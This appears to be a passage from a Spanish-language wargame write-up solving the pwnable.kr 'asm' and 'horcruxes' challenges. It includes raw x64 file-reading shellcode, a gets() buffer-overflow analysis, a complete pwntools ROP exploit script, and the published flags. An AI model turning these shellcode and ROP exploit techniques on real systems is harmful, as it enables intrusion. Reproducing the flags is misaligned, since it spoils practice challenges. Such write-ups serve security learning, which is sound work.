shellcode = b"\xe8\xe8\x00\x00\x00\x74\x68\x69\x73\x5f\x69\x73\x5f\x70\x77\x6e\x61\x62\x6c\x65\x2e\x6b\x72\x5f\x66\x6c\x61\x67\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x65\x61\x73\x65\x5f\x72\x65\x61\x64\x5f\x74\x68\x69\x73\x5f\x66\x69\x6c\x65\x2e\x73\x6f\x72\x72\x79\x5f\x74\x68\x65\x5f\x66\x69\x6c\x65\x5f\x6e\x61\x6d\x65\x5f\x69\x73\x5f\x76\x65\x72\x79\x5f\x6c\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x6e\x67\x00\x5f\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\xb8\x3c\x00\x00\x00\x48\x31\xff\x0f\x05"
print(io.recv().decode())
io.sendline(shellcode)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ python3 s.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] asm@pwnable.kr:
Distro Ubuntu 22.04
OS: linux
Arch: amd64
Version: 5.15.0
ASLR: Enabled
SHSTK: Disabled
IBT: Disabled
[+] Starting remote process None on pwnable.kr: pid 467242
[!] ASLR is disabled for '/usr/bin/nc.openbsd'!
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode:
[*] Switching to interactive mode
Mak1ng_5helLcodE_i5_veRy_eaSy
$

solución usando shellcraft de pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.arch = "amd64"
context.os = "linux"

sh = connection = ssh('asm','pwnable.kr',password='guest',port=2222)

fname = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
shellcode = asm(
shellcraft.open(fname) +
shellcraft.read('rax','rsp',70) +
shellcraft.write(1,'rsp',70) +
shellcraft.exit(0)
)

io = sh.process(["nc","0.0.0.0","9026"])
io.sendline(shellcode)
io.interactive()

Mak1ng_5helLcodE_i5_veRy_eaSy

horcruxes

El binario genera 7 números aleatorios (los horcruxes):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
horcruxes@ubuntu:~$ ltrace ./horcruxes
__libc_start_main(0x80413fb, 1, 0xffc6d844, 0 <unfinished ...>
setvbuf(0xf7ebbda0, 0, 2, 0) = 0
setvbuf(0xf7ebb620, 0, 2, 0) = 0
alarm(60) = 0
puts("Voldemort concealed his splitted"...Voldemort concealed his splitted soul inside 7 horcruxes.
) = 58
puts("Find all horcruxes, and destroy "...Find all horcruxes, and destroy it!

) = 37
open("/dev/urandom", 0, 037761553530) = 3
read(3, "\243\027tD", 4) = 4
close(3) = 0
srand(0x447417a3, 0xffc6d748, 4, 0x80416a4) = 1
rand(0x8042220, 0xfbad008b, 0x447417a3, 3) = 0x57054550
rand(0x8042220, 0xfbad008b, 0x447417a3, 3) = 0x61c60cc8
rand(0x8042220, 0xfbad008b, 0x447417a3, 3) = 0x110043e6
rand(0x8042220, 0xfbad008b, 0x447417a3, 3) = 0xd84e529
rand(0x8042220, 0xfbad008b, 0x447417a3, 3) = 0x39a515df
rand(0x8042220, 0xfbad008b, 0x447417a3, 3) = 0x6e6ab3da
rand(0x8042220, 0xfbad008b, 0x447417a3, 3) = 0x4cf115e5

En la función ropme el primer valor que introducimos se compara con cada horcrux y salta a alguna de las funciones A,B,C,D,E,F,G (que imprimen los horcruxes) si conciden, se ve en líneas como:

1
2
3
4
5
6
7
8
9
0x08041555 <+74>:	jne    0x8041561 <ropme+86>
0x08041557 <+76>: call 0x804129d <A>
0x0804155c <+81>: jmp 0x804168e <ropme+387>
0x08041561 <+86>: mov edx,DWORD PTR [ebp-0x10]
0x08041564 <+89>: mov eax,DWORD PTR [ebx+0x80]
0x0804156a <+95>: cmp edx,eax
0x0804156c <+97>: jne 0x8041578 <ropme+109>
0x0804156e <+99>: call 0x80412cf <B>
0x08041573 <+104>: jmp 0x804168e <ropme+387>

Al final si no coincide con ninguno entonces se reservan 0x74 bytes y nos piden introducir cuánta experiencia ganamos (la suma de los horcruxes). Convierte la entrada a un entero con atoi y si es correcto entonces abre el archivo flag e imprime su contenido:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
0x08041600 <+245>:	lea    eax,[ebp-0x74]
0x08041603 <+248>: push eax
0x08041604 <+249>: call 0x8041080 <gets@plt>
0x08041609 <+254>: add esp,0x10
0x0804160c <+257>: sub esp,0xc
0x0804160f <+260>: lea eax,[ebp-0x74]
0x08041612 <+263>: push eax
0x08041613 <+264>: call 0x8041140 <atoi@plt>
0x08041618 <+269>: add esp,0x10
0x0804161b <+272>: mov edx,DWORD PTR [ebx+0x98]
0x08041621 <+278>: cmp eax,edx
0x08041623 <+280>: jne 0x804167c <ropme+369>
0x08041625 <+282>: sub esp,0x8
0x08041628 <+285>: push 0x0
0x0804162a <+287>: lea eax,[ebx-0x1e1c]
0x08041630 <+293>: push eax
0x08041631 <+294>: call 0x80410f0 <open@plt>
0x08041636 <+299>: add esp,0x10
0x08041639 <+302>: mov DWORD PTR [ebp-0xc],eax
0x0804163c <+305>: sub esp,0x4
0x0804163f <+308>: push 0x64
0x08041641 <+310>: lea eax,[ebp-0x74]
0x08041644 <+313>: push eax
0x08041645 <+314>: push DWORD PTR [ebp-0xc]
0x08041648 <+317>: call 0x8041060 <read@plt>
0x0804164d <+322>: add esp,0x10
0x08041650 <+325>: mov BYTE PTR [ebp+eax*1-0x74],0x0
0x08041655 <+330>: sub esp,0xc
0x08041658 <+333>: lea eax,[ebp-0x74]
0x0804165b <+336>: push eax
0x0804165c <+337>: call 0x80410d0 <puts@plt>
0x08041661 <+342>: add esp,0x10
0x08041664 <+345>: sub esp,0xc
0x08041667 <+348>: push DWORD PTR [ebp-0xc]
0x0804166a <+351>: call 0x8041150 <close@plt>
0x0804166f <+356>: add esp,0x10
0x08041672 <+359>: sub esp,0xc
0x08041675 <+362>: push 0x0
0x08041677 <+364>: call 0x80410e0 <exit@plt>
0x0804167c <+369>: sub esp,0xc
0x0804167f <+372>: lea eax,[ebx-0x1e00]
0x08041685 <+378>: push eax
0x08041686 <+379>: call 0x80410d0 <puts@plt>
0x0804168b <+384>: add esp,0x10
0x0804168e <+387>: mov eax,0x0
0x08041693 <+392>: mov ebx,DWORD PTR [ebp-0x4]
0x08041696 <+395>: leave
0x08041697 <+396>: ret

Por si las dudas, la generacion y suma de los horcruxes se calcula en la función init_ABCDEFG.

Bueno resulta que la función gets que toma nuestra entrada es vulnerable, no revisa limites del arreglo y hay un buffer overflow. De paso sabemos que el binario no tiene canary (el buffer overflow pasa desapercibido) y no tiene PIE(las direcciones de memoria no cambian):

1
2
3
4
5
6
7
8
9
10

horcruxes@ubuntu:~$ checksec --file=horcruxes
[!] Could not populate PLT: [Errno 12] Cannot allocate memory
[*] '/home/horcruxes/horcruxes'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8040000)
Stripped: No

Debemos hacer ROP (Return Oriented Programming) para retornar a cada una de las funciones que imprimen la experiencia de los horcruxes, tomar su salida y sumarla y entonces volver a ropme a escribir la suma de la experiencia obtenida:

Se reservan 0x74 bytes asi que el offset es 0x74 + 4 bytes del ebp guardado en la función.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

sh = connection = ssh('horcruxes','pwnable.kr',password='guest',port=2222)
io = sh.process(["nc","0.0.0.0","9032"])

A = 0x0804129d
B = 0x080412cf
C = 0x08041301
D = 0x08041333
E = 0x08041365
F = 0x08041397
G = 0x080413c9
ropme = 0x0804150b
payload = flat (
cyclic(0x74),
cyclic(0x4),
p32(A),
p32(B),
p32(C),
p32(D),
p32(E),
p32(F),
p32(G),
p32(ropme),
)

io.sendline(b"1")
io.sendline(payload)

io.recvuntil(b"Voldemort\n")
sum = 0
for _ in range(7):
exp = int(io.recvline().decode().strip().split("+")[1][:-1])
sum += exp

io.recv()
io.sendline(b"1")
io.sendline(str(sum))
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[+] Connecting to pwnable.kr on port 2222: Done
[*] asm@pwnable.kr:
Distro Ubuntu 22.04
OS: linux
Arch: amd64
Version: 5.15.0
ASLR: Enabled
SHSTK: Disabled
IBT: Disabled
[+] Starting remote process None on pwnable.kr: pid 518538
[!] ASLR is disabled for '/usr/bin/nc.openbsd'!
/home/kalcast/s.py:38: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(str(sum))
[*] Switching to interactive mode
How many EXP did you earned? : The_M4gic_sp3l1_is_Avada_Ked4vra

Nota: No sabía que hacía la instrucción __x86.get_pc_thunk.bx pero luego me di cuenta que carga la dirección del código en el registro ebx para acceder a objetos y variables globales por medio de un desplazamiento de ese registro.

The_M4gic_sp3l1_is_Avada_Ked4vra

Conclusiones

Los retos fueron diversos y realmente divertidos. El hecho de que cada uno tenga una imagen característica también es un buen toque. Disfruto más los wargames que los CTFs porque aquí no estás limitado por el tiempo, lo que puede darte tiempo para estudiar y prepararte correctamente. Esto es algo necesario en las categorías superiores donde las vulnerabilidades van dejando de ser triviales y en general cada uno necesita de un conocimiento previo particular.